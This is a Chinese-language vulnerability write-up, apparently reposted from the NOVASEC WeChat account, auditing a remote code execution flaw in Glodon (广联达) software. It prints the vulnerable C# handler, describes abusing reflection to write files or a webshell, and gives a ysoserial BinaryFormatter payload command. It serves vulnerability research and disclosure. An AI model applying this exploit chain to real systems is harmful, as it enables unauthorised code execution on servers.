根据type字段来找代码在dll中对应的位置,在【GTP.Mobile.HttpHandler.dll】这个dll处找到对应代码:
关键代码如下:
public void ProcessRequest(HttpContext context)
{
HttpRequest request = context.Request;
ActionHandler.ResultData resultData = new ActionHandler.ResultData();
resultData.IsSuccess = false;
resultData.Data = null;
resultData.ResultMsg = null;
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
try
{
string text = request["assembly"];
string text2 = request["controller"];
string name = request["action"];
Encoding encoding = request.ContentEncoding;
if (encoding == null)
{
encoding = Encoding.UTF8;
}
StreamReader streamReader = new StreamReader(request.InputStream, encoding);
string input = streamReader.ReadToEnd();
string[] array = javaScriptSerializer.Deserialize
(input);
Type type;
if (!string.IsNullOrEmpty(text))
{
Assembly assembly = Assembly.Load(text);
type = assembly.GetType(text2, true);
}
else
{
type = Type.GetType(text2);
}
object obj = Activator.CreateInstance(type);
MethodInfo method = type.GetMethod(name);
ParameterInfo[] parameters = method.GetParameters();
object[] array2 = new object[parameters.Length];
if (parameters.Length > 0)
{
for (int i = 0; i < parameters.Length; i++)
{
array2[i] = javaScriptSerializer.Deserialize(array[i], parameters[i].ParameterType);
}
}
resultData.Data = method.Invoke(obj, array2);
resultData.StatusCode = "OK";
resultData.IsSuccess = true;
}
catch (Exception ex)
{
resultData.StatusCode = "ERROR";
resultData.ResultMsg = ex.Message;
if (ex.InnerException != null)
{
resultData.ResultDetailMsg = ex.InnerException.Message;
}
}
context.Response.ContentType = "text/json";
context.Response.Write(javaScriptSerializer.Serialize(resultData));
}
上述代码,明显的反序列化漏洞,触发点在上述第40行
javaScriptSerializer.Deserialize(array[i], parameters[i].ParameterType)
而array参数是从21行的反序列化string获取的,这里获取的数据来自post中的值获取;
为了使23~31行的循环进入else中的代码,就让assembly为空即可,再看两个关键参数controller和action,30行代码【type = Type.GetType(text2);】从controller中获取到dll对应的type,33行代码从这个type获取对应的方法,也就是action这个参数的值,最终把POST获取到的参数在第40行代码处触发反序列化,但是这个漏洞代码直接反序列化失败了(我没整的出来),但是能换种思路来利用。
梳理下流程,找一个机器上能载入的程序集(DLL),再找到其可利用的方法,方法需要的参数在post中传输即可。
输出dll的assembly代码如下
Assembly assembly = Assembly.LoadFile(@"MyClass.DLL");
string namexx = assembly.FullName;
Console.Write(namexx);
.NET环境中有些默认的程序集,比如Microsoft.VisualBasic.Core.dll,微软官网有他的文档:
有些可以利用的方法,比如这个写入文件:
本地起个项目,把漏洞代码复制进来测试一下,
往C:userspublictest.txt中写入文件,文件内容为空:
成功写入文件:
利用这个方法可以直接写入webshell,当然反序列化也行。
在广联达bin目录下是存在一个dll,其中有反序列化功能,看代码可知是从文件内容来反序列化的,由于是广联达bin目录下的dll,所以是可以直接载入程序集:
先本地测试一下,根据上一步的文件写入,写入一个反序列化文件,即可触发。
生成反序列化文件,利用yso:
ysoserial.exe
-f BinaryFormatter
-g WindowsIdentity
-o raw
-c "calc"
然后测试:
到这全部测试完毕,用yso生成个可回显的反序列化数据文件,测试一下:
原文始发于微信公众号(NOVASEC):广联达远程代码执行代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论